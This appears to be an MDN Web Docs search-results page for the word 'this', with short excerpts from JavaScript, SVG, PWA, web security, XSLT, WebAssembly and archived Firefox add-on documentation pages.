...And 3 more matches
Boolean - JavaScript
for example, the condition in the following if statement evaluates to true: var x = new boolean(false); if (x) { //
this code is executed }
this behavior does not apply to boolean primitives.
... for example, the condition in the following if statement evaluates to false: var x = false; if (x) { //
this code is not executed } do not use a boolean object to convert a non-boolean value to a boolean value.
... to perform
this task, instead, use boolean as a function, or a double not operator: var x = boolean(expression); // use
this...
...And 3 more matches
Date.prototype.toLocaleString() - JavaScript
the tolocalestring() method returns a string with a language sensitive representation of
this date.
... the source for
this interactive example is stored in a github repository.
...to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocalestringsupportslocales() { try { new date().tolocalestring('i'); } catch (e) { return e instanceof rangeerror; } return false; } using locales
this example shows some of the variations in localized date and time formats.
...And 3 more matches
Error - JavaScript
error.prototype.filename a non-standard mozilla property for the path to the file that raised
this error.
... error.prototype.linenumber a non-standard mozilla property for the line number in the file that raised
this error.
... error.prototype.columnnumber a non-standard mozilla property for the column number in the line that raised
this error.
...And 3 more matches
FinalizationRegistry.prototype.unregister() - JavaScript
examples using unregister
this example shows registering a target object using that same object as the unregister token, then later unregistering it via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new finalizationregistry...
...(
this.#cleanup); /** * constructs a `thingy` instance.
... */ constructor(label) { // vvvvv−−−−− held value
this.#registry.register(
this, label,
this); // target −−−−−^^^^ ^^^^−−−−− unregister token } /** * releases resources held by
this `thingy` instance.
...And 3 more matches
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
the structure the formattoparts() method returns, looks like
this: [ { type: 'day', value: '17' }, { type: 'weekday', value: 'monday' } ] possible types are the following: day the string used for the day, for example "17".
... yearname the string used for the yearname in relevant contexts, for example "geng-zi" polyfill a polyfill for
this feature is available in the proposal repository.
...formatter = new intl.datetimeformat('en-us', { weekday: 'long', year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric', fractionalseconddigits: 3, hour12: true, timezone: 'utc' }); formatter.format(date); // "monday, 12/17/2012, 3:00:42.000 am" however, in many user interfaces there is a desire to customize the formatting of
this string.
...And 3 more matches
Intl.DateTimeFormat - JavaScript
the source for
this interactive example is stored in a github repository.
... instance methods intl.datetimeformat.prototype.format() getter function that formats a date according to the locale and formatting options of
this datetimeformat object.
... intl.datetimeformat.prototype.formatrange()
this method receives two dates and formats the date range in the most concise way based on the locale and options provided when instantiating datetimeformat.
...And 3 more matches
Map.prototype.forEach() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax mymap.foreach(callback([value][,key][,map])[,
thisarg]) parameters callback function to execute for each entry of mymap.
...
thisarg optional value to use as
this when executing callback.
...And 3 more matches
Map - JavaScript
in the current ecmascript specification, -0 and +0 are considered equal, although
this was not so in earlier drafts.
...for
this reason (and because there were no built-in alternatives), objects have been used as maps historically.
... note: as of es5,
this can be bypassed by using object.create(null), but
this is seldom done.
...And 3 more matches
Number.prototype.toFixed() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax numobj.tofixed([digits]) parameters digits optional the number of digits to appear after the decimal point;
this may be a value between 0 and 20, inclusive, and implementations may optionally support a larger range of values.
... if
this argument is omitted, it is treated as 0.
...And 3 more matches
Number - JavaScript
this means it can represent fractional values, but there are some limits to what it can store.
... number.parsefloat(string)
this is the same as the global parsefloat() function.
... number.parseint(string, [radix])
this is the same as the global parseint() function.
...And 3 more matches
Object.getOwnPropertyDescriptors() - JavaScript
description
this method permits examination of the precise description of all own properties of an object.
... configurable true if and only if the type of
this property descriptor may be changed and if the property may be deleted from the corresponding object.
... enumerable true if and only if
this property shows up during enumeration of the properties on the corresponding object.
...And 3 more matches
handler.apply() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax const p = new proxy(target, { apply: function(target,
thisarg, argumentslist) { } }); parameters the following parameters are passed to the apply() method.
...
this is bound to the handler.
...And 3 more matches
Reflect.apply() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax reflect.apply(target,
thisargument, argumentslist) parameters target the target function to call.
...
thisargument the value of
this provided for the call to target.
...And 3 more matches
RegExp.prototype[@@search]() - JavaScript
the [@@search]() method executes a search for a match between a
this regular expression and a string.
... the source for
this interactive example is stored in a github repository.
... description
this method is called internally in string.prototype.search().
...And 3 more matches
RegExp.prototype[@@split]() - JavaScript
the source for
this interactive example is stored in a github repository.
...the [@@split]() method still splits on every match of
this regexp pattern (or, in the syntax above, regexp), until the number of split items match the limit or the string falls short of
this pattern.
... description
this method is called internally in string.prototype.split() if its separator argument is an object that has a @@split method, such as a regexp.
...And 3 more matches
WebAssembly.instantiate() - JavaScript
this function has two overloads: the primary overload takes the webassembly binary code, in the form of a typed array or arraybuffer, and performs both compilation and instantiation in one step.
...
this overload is useful if the module has already been compiled.
... important:
this method is not the most efficient way of fetching and instantiating wasm modules.
...And 3 more matches
isNaN() - JavaScript
the function should be interpreted as answering the question, "is
this value, when coerced to a numeric value, an ieee-754 'not a number' value?" ecmascript 2015 contains the number.isnan() function.
...umber 37.37 which is not nan isnan("37,5"); // true isnan('123abc'); // true: parseint("123abc") is 123 but number("123abc") is nan isnan(''); // false: the empty string is converted to 0 which is not nan isnan(' '); // false: a string with spaces is converted to 0 which is not nan // dates isnan(new date()); // false isnan(new date().tostring()); // true //
this is a false positive and the reason why isnan is not entirely reliable isnan('blabla'); // true: "blabla" is converted to a number.
... // parsing
this as a number fails and returns nan useful special-case behavior there is a more usage oriented way to think of isnan(): if isnan(x) returns false, you can use x in an arithmetic expression not making the expression return nan.
...And 3 more matches
Object initializer - JavaScript
the source for
this interactive example is stored in a github repository.
... examples creating objects an empty object with no properties can be created like
this: let object = {} however, the advantage of the literal or initializer notation is, that you are able to quickly create objects with properties inside the curly braces.
...you will see code like
this: let a = 'foo', b = 42, c = {}; let o = { a: a, b: b, c: c } with ecmascript 2015, there is a shorter notation available to achieve the same: let a = 'foo', b = 42, c = {}; // shorthand property names (es2015) let o = {a, b, c} // in other words, console.log((o.a === {a}.a)) // true duplicate property names when using the same name for your properties, the second pr...
...And 3 more matches
for...of - JavaScript
the source for
this interactive example is stored in a github repository.
...erate over the arguments object to examine all of the parameters passed into a javascript function: (function() { for (const argument of arguments) { console.log(argument); } })(1, 2, 3); // 1 // 2 // 3 iterating over a dom collection iterating over dom collections like nodelist: the following example adds a read class to paragraphs that are direct descendants of an article: // note:
this will only work in platforms that have // implemented nodelist.prototype[symbol.iterator] const articleparagraphs = document.queryselectorall('article > p'); for (const paragraph of articleparagraphs) { paragraph.classlist.add('read'); } closing iterators in for...of loops, abrupt iteration termination can be caused by break, throw or return.
...} iterating over other iterable objects you can also iterate over an object that explicitly implements the iterable protocol: const iterable = { [symbol.iterator]() { return { i: 0, next() { if (
this.i < 3) { return { value:
this.i++, done: false }; } return { value: undefined, done: true }; } }; } }; for (const value of iterable) { console.log(value); } // 0 // 1 // 2 difference between for...of and for...in both for...in and for...of statements iterate over something.
...And 3 more matches
with - JavaScript
the 'with' statement adds the given object to the head of
this scope chain during the evaluation of its statement body.
...note, however, that in many cases
this benefit can be achieved by using a temporary variable to store a reference to the desired object.
...so given
this example: function f(x, o) { with (o) { console.log(x); } } only when f is called is x either found or not, and if found, either in o or (if no such property exists) in f's activation object, where x names the first formal argument.
...And 3 more matches
Progressive web app structure - Progressive web apps (PWAs)
this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page.
...
this architecture allows a website to benefit the most from all the pwa features — it caches the app shell and manages the dynamic content in a way that greatly improves the performance.
... in addition to the basic shell, you can add other features such as add to home screen or push notifications, safe in the knowledge that the app will still work ok if they are not supported by the user's browser —
this is the beauty of progressive enhancement.
...And 3 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
ng the notification immediately though, best practice dictates that we should show the popup when the user requests it by clicking on a button: var button = document.getelementbyid("notifications"); button.addeventlistener('click', function(e) { notification.requestpermission().then(function(result) { if(result === 'granted') { randomnotification(); } }); });
this shows a popup using the operating system’s own notifications service: when the user confirms to receive notifications, the app can then show them.
...
this means that notifications can be displayed to the user even when they are not looking at the web app, and the notifications look similar to ones displayed by native apps.
...
this, for example, can be used to remind the user about something, or let them know about new content being available in the app.
...And 3 more matches
Progressive web apps (PWAs)
this set of docs tells you all you need to know about them.
...
this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein
this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.how to make pwas re-engageable using notifications...
...but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.introduction to progressive web apps
this article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin
this article we took a simple look at how you can make your pwa work offline with service workers.
...And 3 more matches
alignment-baseline - SVG: Scalable Vector Graphics
this property specifies which baseline of
this element is to be aligned with the corresponding baseline of the parent.
... for example,
this allows alphabetic baselines in roman text to stay aligned across font size changes.
... note:
this keyword may be mapped to text-top.
...And 3 more matches
gradientUnits - SVG: Scalable Vector Graphics
two elements are using
this attribute: <lineargradient> and <radialgradient> lineargradient for <lineargradient>, gradientunits defines the coordinate system used for the attributes x1, y1, x2, and y2.
... value userspaceonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse
this value indicates that the attributes represent values in the coordinate system that results from taking the current user coordinate system in place at the time when the gradient element is referenced (i.e., the user coordinate system for the element referencing the gradient element via a fill or stroke property) and then applying the transform specified by attribute gradienttransform.
... objectboundingbox
this value indicates that the user coordinate system for the attributes is established using the bounding box of the element to which the gradient is applied and then applying the transform specified by attribute gradienttransform.
...And 3 more matches
target - SVG: Scalable Vector Graphics
this attribute specifies the name of the browsing context (e.g., a browser tab or an (x)html iframe or object element) into which a document is to be opened when the link is activated: only one element is using
this attribute: <a> html, body, svg { height: 100%; } text { font: 20px arial, helvetica, sans-serif; fill: blue; text-decoration: underline; } <svg viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org" target="_self"> <text x="0" y="20">open link within iframe</text> </a> <a href="https://developer.mozil...
...la.org" target="_blank"> <text x="0" y="60">open link in new tab or window</text> </a> <a href="https://developer.mozilla.org" target="_top"> <text x="0" y="100">open link in
this tab or window</text> </a> </svg> usage notes value _self | _parent | _top | _blank | <xml-name> default value _self animatable yes _replace the current svg image is replaced by the linked content in the same rectangular area in the same frame as the current svg image.
... note:
this value was never well implemented, and the distinction between _replace and _self has been made redundant by changes in the html definition of browsing contexts.
...And 3 more matches
Content type - SVG: Scalable Vector Graphics
this article lists these types along with their syntax and descriptions of what they're used for.
...
this ensures that white (#ffffff) can be specified with the short notation (#fff) and removes any dependencies on the color depth of the display.
...the syntax for
this reference is the same as the css uri.
...And 3 more matches
<altGlyph> - SVG: Scalable Vector Graphics
usage context categoriestext content element, text content child elementpermitted contentany elements or character data attributes x
this attribute defines the corresponding absolute x-coordinates for rendering the element.
... value type: <list-of-coordinates> ; default value: absolute x-coordinate of ancestor <text> or <tspan>; animatable: yes y
this attribute defines the corresponding absolute y-coordinates for rendering the element.
... value type: <list-of-coordinates> ; default value: absolute y-coordinate of ancestor <text> or <tspan>; animatable: yes dx
this attribute indicates a shift along the x-axis on the position of the element.
...And 3 more matches
<mask> - SVG: Scalable Vector Graphics
0"> <mask id="mymask"> <!-- everything under a white pixel will be visible --> <rect x="0" y="0" width="100" height="100" fill="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with
this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height
this attribute defines the height of the masking area.
... value type: <length> ; default value: 120%; animatable: yes maskcontentunits
this attribute defines the coordinate system for the contents of the <mask>.
... value type: userspaceonuse|objectboundingbox ; default value: userspaceonuse; animatable: yes maskunits
this attribute defines defines the coordinate system for attributes x, y, width and height on the <mask>.
...And 3 more matches
Scripting - SVG: Scalable Vector Graphics
the evt.preventdefault() method lets you do
this.
... function myrect(x,y,w,h,message){
this.message=message
this.rect=document.createelementns("http://www.w3.org/2000/svg","rect")
this.rect.setattributens(null,"x",x)
this.rect.setattributens(null,"y",y)
this.rect.setattributens(null,"width",w)
this.rect.setattributens(null,"height",h) document.documentelement.appendchild(
this.rect)
this.rect.addeventlistener("click",
this,false)
this.handleevent= function(evt){ switch (evt.type){ case "click": alert(
this.message) break; } } } inter-document scripting: referencin...
...
this is not the case for mozilla's native svg implementation; therefore, using window.svgdocument does not work in mozilla.
...And 3 more matches
Basic Transformations - SVG: Scalable Vector Graphics
with
this helper, you can assign properties to a complete set of elements.
...for
this purpose, the translate() transformation stands ready.
...use the rotate() transformation for
this: <svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg>
this example shows a square that is rotated by 45 degrees.
...And 3 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
s="http://www.w3.org/2000/svg" version="1.1"> <line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/> <line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/> <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/> </svg> the stroke-width property defines the width of
this stroke.
...
this controls the shape of the ends of lines.
...the radius of
this curve is also controlled by the stroke-width.
...And 3 more matches
How to fix a website with blocked mixed content - Web security
this follows a practice adopted by internet explorer (since version 9) and chrome.
...
this page explains what you should be aware of as a web developer.
... your website may break if your website delivers https pages, all active mixed content delivered via http on
this pages will be blocked by default.
...And 3 more matches
Subdomain takeovers - Web security
typically,
this happens when the subdomain has a canonical name (cname) in the domain name system (dns), but no host is providing content for it.
...
this can happen because either a virtual host hasn’t been published yet or a virtual host has been removed.
... if an attacker can do
this, they can potentially read cookies set from the main domain, perform cross-site scripting, or circumvent content security policies, thereby enabling them to capture protected information (including logins) or send malicious content to unsuspecting users.
...And 3 more matches
Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server.
...
this article provides an overview of tls and the kinds of decisions you need to make when securing your content.
...though the performance gains from 0-rtt can be significant, they come with some risk of replay attack, so some care is needed before enabling
this feature.
...And 3 more matches
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
typically
this is xmlns:xsl="http://www.w3.org/1999/xsl/transform".
... syntax <xsl:stylesheet version="number" xmlns:xsl="http://www.w3.org/1999/xsl/transform" id="name" extension-element-prefixes="list-of-names" exclude-result-prefixes="list-of-names"> entire stylesheet </xsl:stylesheet> required attributes version specifies the version of xslt required by
this stylesheet.
... optional attributes exclude-result-prefixes specifies any namespace used in
this document that should not be sent to the output document.
...And 3 more matches
Exported WebAssembly functions - WebAssembly
this article describes what they are in a little more detail.
... an example let's look at an example to clear things up (you can find
this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertab...
... to prove
this, we then retrieve these references back from othertable and print their results to console too, which gives the same results.
...And 3 more matches
Module structure of the SDK - Archive of obsolete content
for high-level modules
this is just sdk/<module_name>, and for low-level modules it is sdk/<path_to_module>/<module_name>: // load the high-level "tabs" module var tabs = require("sdk/tabs"); // load the low-level "uuid" module var uuid = require('sdk/util/uuid'); the path to specify for a low-level module is given along with the module name itself in the title of the module's documentation page (for example, system/env...
...if you need to use a different version of the modules, you can do
this by checking out the version of the sdk that you need and passing the -o or --overload option to jpm run or jpm xpi.
... for example,
this add-on places external modules in a "dependencies" directory: my-addon lib main.js dependencies geolocation.js it can then load them in the same way it would load a local module.
...And 2 more matches
SDK API Lifecycle - Archive of obsolete content
deprecated we plan to change
this module, and backwards compatibility should not be expected.
... don’t start using it, and plan to migrate away from
this module to its replacement.
... migration the deprecation period defaults to 18 weeks (that is, three releases) although in some cases, generally those out of our control, it might be shorter than
this.
...And 2 more matches
querystring - Archive of obsolete content
globals functions stringify(fields, separator, assignment) serializes an object containing name:value pairs into a query string: querystring.stringify({ foo: 'bar', baz: 4 }); // => 'foo=bar&baz=4' by default '&' and'=' are used as separator and assignment characters, but you can override
this using additional optional parameters: querystring.stringify({ foo: 'bar', baz: 4 }, ';', ':'); // => 'foo:bar;baz:4' parameters fields : object the data to convert to a query string.
...by default
this is "&".
...by default
this is "=".
...And 2 more matches
ui - Archive of obsolete content
this module exports constructors for the following: actionbutton togglebutton frame toolbar sidebar each object has its own reference page, linked above: for all the details please refer to the reference page.
...
this page just provides a quick overview.
...
this can then be added to a designated area of the firefox user interface.
...And 2 more matches
url - Archive of obsolete content
if source is not a valid uri,
this constructor will throw an exception.
...if is not a valid uri,
this constructor will throw an exception.
...
this function will automatically attempt to resolve non-file protocols, such as the resource: protocol, to their place on the file system.
...And 2 more matches
content/loader - Archive of obsolete content
example: the following code creates a wrapper on a hidden frame that reloads a web page in the frame every time the contenturl property is changed: var hiddenframes = require("sdk/frame/hidden-frame"); var { loader } = require("sdk/content/content"); var pageloader = loader.compose({ constructor: function pageloader(options) { options = options || {}; if (options.contenturl)
this.contenturl = options.contenturl;
this.on('propertychange',
this._onchange =
this._onchange.bind(
this)); let self =
this; hiddenframes.add(hiddenframes.hiddenframe({ onready: function onready() { let frame = self._frame =
this.element; self._emit('propertychange', { contenturl: self.contenturl }); } })); }, _onchange: function _onchange(e) { if (...
...'contenturl' in e)
this._frame.setattribute('src',
this._contenturl); } }); loader properties contentscriptfile the local file urls of content scripts to load.
... content scripts specified by
this property are loaded before those specified by the contentscript property.
...And 2 more matches
event/target - Archive of obsolete content
with
this module you can create your own objects that emit events.
...
this module provides an exemplar eventtarget object, that implements an interface for adding and removing event listeners of a specific type.
... also see the tutorial on implementing event targets to get started with
this api.
...And 2 more matches
io/text-streams - Archive of obsolete content
charset : string inputstream is expected to be in the character encoding named by
this value.
...see nsicharsetconvertermanager.idl for documentation on how to determine other valid values for
this.
... charset : string text will be written to outputstream using the character encoding named by
this value.
...And 2 more matches
jpm-mobile - Archive of obsolete content
this article is the reference for jpm-mobile.
... after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run
this as an administrator: sudo npm install jpm-mobile -g at the command prompt, type: jpm-mobile you should see a screen summarizing the available jpm-mobile commands.
... if you don't see
this, ask for help.
...And 2 more matches
Chrome Authority - Archive of obsolete content
from
this, the module can do pretty much anything the browser is capable of.
...from
this you can access less-frequently-used properties like components.stack and components.issuccesscode.
...
this list is generated by scanning all included modules for require(xyz) statements and recording the particular "xyz" strings that they reference.
...And 2 more matches
Display a Popup - Archive of obsolete content
to follow
this tutorial you'll need to have learned the basics of jpm.
... in
this tutorial we'll create an add-on that adds an action button to the toolbar that displays a panel when clicked.
...he add-on consists of seven files: package.json: created when you run jpm init index.js: the main add-on code, that creates the button and panel get-text.js: the content script that interacts with the panel content text-entry.html: the panel content itself, specified as html icon-16.png, icon-32.png, and icon-64.png: icons for the button in three different sizes the "index.js" looks like
this: var data = require("sdk/self").data; // construct a panel, loading its content from the "text-entry.html" // file in the "data" directory, and loading the "get-text.js" script // into it.
...And 2 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
this example demonstrates the dynamic injection of html into a xul element.
...
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" t...
...
this is recommended for security reasons, especially if remote html is to be inserted.
...And 2 more matches
Progress Listeners - Archive of obsolete content
pcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { // if you use mylistener for more than one tab/window, use // awebprogress.domwindow to obtain the tab/window which triggers the state change if (aflag & state_start) { //
this fires when the load event is initiated } if (aflag & state_stop) { //
this fires when the load finishes } }, onlocationchange: function(aprogress, arequest, auri) { //
this fires when the location bar changes; that is load event is confirmed // or when the user switches tabs.
... var myextension = { oldurl: null, init: function() { gbrowser.addprogresslistener(
this); }, uninit: function() { gbrowser.removeprogresslistener(
this); }, processnewurl: function(auri) { if (auri.spec ==
this.oldurl) return; // now we know the url is new...
... alert(auri.spec);
this.oldurl = auri.spec; }, // nsiwebprogresslistener queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onlocationchange: function(aprogress, arequest, auri) {
this.processnewurl(auri); }, onstatechange: function() {}, onprogresschange: function() {}, onstatuschange: function() {}, onsecuritychange: function() {} }; window.addeventlistener("load", function() { myextension.init() }, false); window.addeventlistener("unload", function() { myextension.uninit() }, false); note: if you use the same listener for more than one tab/window, use awebprogress.domwindow in the callback methods to obtain the tab/window which triggers the...
...And 2 more matches
Windows - Archive of obsolete content
this article offers code snippets demonstrating common tasks you may wish to perform.
... example window.open(); //
this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console.
...you could improve
this code by checking the event.target element and only setting the startpos if the element matches some criteria.
...And 2 more matches
Hiding browser chrome - Archive of obsolete content
this is done, for example, by the about:addons page.
...
this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method.
... note: don't simply replace the hidechromeforlocation() method;
this will likely hurt the functionality of firefox itself as well as other extensions.
...And 2 more matches
Performance best practices in extensions - Archive of obsolete content
there is a down side to
this: poorly written extensions can have a severe impact on the browsing experience, including on the overall performance of firefox itself.
...
this article offers some best practices and suggestions that can not only improve the performance and speed of your extension, but also of firefox itself.
...
this makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once.
...And 2 more matches
MozOrientation - Archive of obsolete content
warning:
this experimental api was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), when support for the standard deviceorientationevent was implemented.
... note:
this below describes how these values worked for the now obsolete mozorientation.
...
this value is 0 if the device is level along the x axis, and approaches 1 as the device is tilted toward the left, and -1 as the device is tilted toward the right.
...And 2 more matches
Making a Mozilla installation modifiable - Archive of obsolete content
because of
this, we can modify the files in the archive and see our changes to the ui merely by restarting the application.
...
this makes modifying mozilla's ui much easier than for many other applications.
...on unix-like operating systems with bash-like shells, you can run the following command within that directory to accomplish
this task: for file in *.jar; do unzip $file; done on operating systems with dos-like shells, the following command accomplishes
this task: for %file in (*.jar); do unzip %file note that there are platform-specific files — en-mac.jar, en-unix.jar, and en-win.jar — in that directory.
...And 2 more matches
Creating a Mozilla Extension - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this tutorial describes how to create an extension for the old versions of mozilla suite (currently seamonkey).
...
this tutorial walks you through the process of building a mozilla extension that adds an icon to mozilla's status bar showing the current status of the mozilla source code (i.e.
...And 2 more matches
GRE - Archive of obsolete content
this embedding framework allows applications to locate a compatible gecko runtime and embed it without knowing in advance where that runtime will be installed.
...
this document describes how embedders should dynamically link to a gre.
...
this prevents dynamically finding a compatible gre at runtime.
...And 2 more matches
CRMF Request object - Archive of obsolete content
non-standard
this feature is non-standard and is not on a standards track.
... deprecated
this feature has been removed from the web standards.
...avoid using it and update existing code if possible; see the compatibility table at the bottom of
this page to guide your decision.
...And 2 more matches
Twitter - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...to use
this library, you therefore need to be familiar with twitter's own api.
...there are two styles you can use to define
this object.
...And 2 more matches
Settings - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...the value of
this variable must be an object that contains a property named settings.
...jetpack will automatically generate a user interface from
this specification that users of your jetpack may use to customize the settings.
...And 2 more matches
Selection - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...the namespace for
this api is jetpack.selection.
...
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
...And 2 more matches
Tabs - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...in
this class you can find information about the tabs in your firefox window.
... the namespace for
this class is jetpack.tabs.
...And 2 more matches
Simple Storage - Archive of obsolete content
for the most part
this object is like any other javascript object, and a jetpack can set whatever properties it wants on it.
...don't abuse
this method.
...don't abuse
this method.
...And 2 more matches
Clipboard - Archive of obsolete content
the namespace associated with
this api is jetpack.clipboard which provides both read and write access to the clipboard.
...
this is the recommended method of copying data to the clipboard.
...
this is an optional parameter.
...And 2 more matches
Makefile.mozextension.2 - Archive of obsolete content
this makefile is a modification of the makefile.mozextention, found in makefile for packaging an extension - mozillazine knowledge base (2005).
...the same goes for
this slight makefile rework here.
... note: unfortunately,
this wiki system at developer.mozilla.org will try to parse xml declarations - even if they are within a pre tag!!
...And 2 more matches
Measuring add-on startup performance - Archive of obsolete content
this article describes an add-on that is no longer supported.
... to test with about:startup, you should set up a new firefox profile, install
this add-on, and then open and quit firefox repeatedly.
... if you want to match talos, you should do
this 20 times.
...And 2 more matches
Bundles - Archive of obsolete content
this folder is located in the application data folder of the user's home directory on windows, in the ~/.webapps directory on linux and under ~/library on os x.
... since
this folder maybe be located in a directory that requires elevated privileges, the web application should not write data to it.
... the application profile directory can be used instead for
this purpose.
...And 2 more matches
Supporting per-window private browsing - Archive of obsolete content
you can then take action based on
this value, as any data or actions originating from
this window should be considered private.
...to do
this, import resource://gre/modules/privatebrowsingutils.jsm and use privatebrowsingutils.getprivacycontextfromwindow(win), passing a window object that is related to the content in question.
...however,
this can lead to privacy leaks (such as cache and download entries) if not used carefully.
...And 2 more matches
Abc Assembler Tests - Archive of obsolete content
compare_numbereq(name:string, expected:*, actual:*, fractiondigits:int=-1):void - compare 2 numbers up to fractiondigits
this is to be used for high precision numbers that may vary slightly due to platform differences.
... sample abcasm test /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of
this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use
this file except in compliance with * the license.
... * * contributor(s): * adobe as3 team * * alternatively, the contents of
this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
...And 2 more matches
Video presentations - Archive of obsolete content
this article is a jumping-off point to help you find those presentations.
... how pages are built using the dom
this presentation describes how documents are loaded and the dom tree is constructed.
... (as quicktime; 198 mb) laying out and drawing documents (slides)
this presentation describes how a document is laid out and painted to the display by the gecko engine.
...And 2 more matches
Writing textual data - Archive of obsolete content
this article describes how to write textual data to streams, files and sockets in an internationalization-aware way.
... writing to a stream in gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverteroutputstream: var charset = "utf-8"; // can be any character encoding name that mozilla supports var os = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); //
this assumes that fos is the nsioutputstream you want to write to os.init(fos, charset, 0, 0x0000); os.writestring("umlaute: \u00fc \u00e4\n"); os.writestring("hebrew: \u05d0 \u05d1\n"); // etc.
... here's an example: // first, get and initialize the converter var converter = components.classes["@mozilla.org/intl/scriptableunicodeconverter"] .createinstance(components.interfaces.nsiscriptableunicodeconverter); converter.charset = /* the character encoding you want, using utf-8 for
this example */ "utf-8"; now you can convert and write to the stream: //
this code assumes that os is your nsioutputstream // your_string here is the string you want to write.
...And 2 more matches
Binding Attachment and Detachment - Archive of obsolete content
var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)";
this attachment is not necessarily synchronous.
... scripts that invoke
this method should not assume that the binding is installed immediately after
this method returns.
... for example, given a binding d1, with an explicit inheritance chain of d1 -> d2 -> d3 if
this element is attached to an element using element.style.mozbinding that already has a binding chain of s1 -> s2 -> s3 the resulting binding chain following the addition of the binding is d1 -> d2 -> d3 -> s1 -> s2 -> s3 the inheritance between d3 and s1 is implicit, meaning that there is no connection in the xbl documents between the two bindings.
...And 2 more matches
XBL 1.0 Reference - Archive of obsolete content
abstract
this document describes extensible binding language (xbl) 1.0 as implemented in gecko browsers.
... there are numerous adjustments in the current implementation in comparison of earlier xbl proposals, and not all of them are reflected yet in
this document.
...
this example is targeted to demonstrate the xbl usage rather than to be a practically useful application.
...And 2 more matches
Install Wizards (aka: Stub Installers) - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this saves low-bandwidth users considerable time since they do not need to download software packages they may not be interested in.
... (the stub installer accomplishes
this by downloading the xpinstall engine along with the selected software packages.
...And 2 more matches
addDirectory - Archive of obsolete content
olean forceupdate); public int adddirectory ( string registryname, installversion version, string xpisourcepath, object localdirspec, string relativelocalpath, boolean forceupdate); parameters the adddirectory method has the following parameters: registryname the pathname in the client version registry for the root directory of the files that are to be installed.
this parameter can be an absolute pathname (beginning with a /) or a relative pathname, (not beginning with a slash).
